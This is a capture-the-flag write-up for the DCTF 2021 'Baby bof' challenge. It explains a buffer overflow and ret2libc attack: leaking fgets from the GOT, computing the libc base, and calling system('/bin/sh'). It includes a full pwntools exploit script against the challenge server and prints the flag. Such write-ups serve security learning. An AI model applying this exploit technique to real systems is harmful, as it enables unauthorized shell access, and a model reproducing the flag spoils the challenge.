DCTF 2021 - Baby bof

Buffer overflow and ret2libc

Description

It's just another bof.

nc dctf-chall-baby-bof.westeurope.azurecontainer.io 7481

Preface

We got a simple binary with output plz don't rop me and after our input plz don't rop me Also we got a Dockerfile, which showed us the used image was Ubuntu:20.04

Overview

Based on the output, we know it was a rop challenge. Also checksec baby_bof gave us.

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

Loading the binary into ghidra I can calculate the offset of the return address.

So I knew, that after writing 18 characters I could overwrite the return address and control the code flow.

First I tried if I could do a rop only with the binary, but neither Ropper nor RopGadget found enough gadgets. So I had to use libc. For this I first needed to get the address where libc was loaded.

In order for this I leaked the address of got.fgets. If I then substract the address of fgets in libc, I could get the base address of libc. After the leak I would rerun the vulnerable function to make our next input.

Then I could use system and /bin/sh from libc to get a shell.

But somehow this did work on my local machine and not remote. Because I didn't see my error, I gave up and continued with other challenges. Short before the end, I wanted to finish this challenge, so I gave it another try.

I thought, that maybe my local system had a different libc. So I downloaded the root from Github. From their I could extract the libc and loading them side by side showed me the offsets were wrong.

But even with this change it didn't work. Because I thought it could still be some error with the offset, I tried to print /bin/sh with puts. The printout was correctly and I successfully had a shell.

From their I could cat the flag and the challenge was solved.

I didn't understanding why it worked. Testing some bits showed, that their was some call needed before the system or it woudln't work. I modified my script, to just include a ret-Gadget and my final exploit code was.

#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.kernel = 'amd64'
#context.log_level = "DEBUG"
context.log_level = "INFO"

context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']

vulnerable = './baby_bof'

elf = ELF(vulnerable)
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')
libc2 = ELF('./libc.so.6')


#p = elf.process()#
p = remote("dctf-chall-baby-bof.westeurope.azurecontainer.io", 7481)

p.readuntil('plz don\'t rop me')

fgets_got = elf.symbols['got.fgets']
fgets_libc = libc2.symbols['fgets']
system_libc = libc2.symbols['system']
sh_libc= next(libc2.search(b'/bin/sh'))
ret = next(elf.search(asm('ret')))

rop = ROP(elf)
rop.puts(fgets_got)
rop.call(elf.symbols['vuln'])

p.sendline(b'\x41'*18 + bytes(rop))

p.recvuntil("i don't think this will work\n")

fgets_address = p.recvuntil("\n")[:-1]
fgets_address = u64(fgets_address + b'\x00'*(8-len(fgets_address)))
libc_address = (fgets_address - fgets_libc)
system_address = system_libc + libc_address
sh_address = sh_libc + libc_address
elf.symbols['system'] = system_address

p.readuntil('plz don\'t rop me')

rop = ROP(elf)
rop.system(sh_address)

p.sendline(b'\x41'*18 + p64(ret) + bytes(rop))

p.recvuntil("i don't think this will work\n")

p.interactive()

The flag was located in a file called flag.txt.

dctf{D0_y0U_H4v3_A_T3mpl4t3_f0R_tH3s3}


Navigation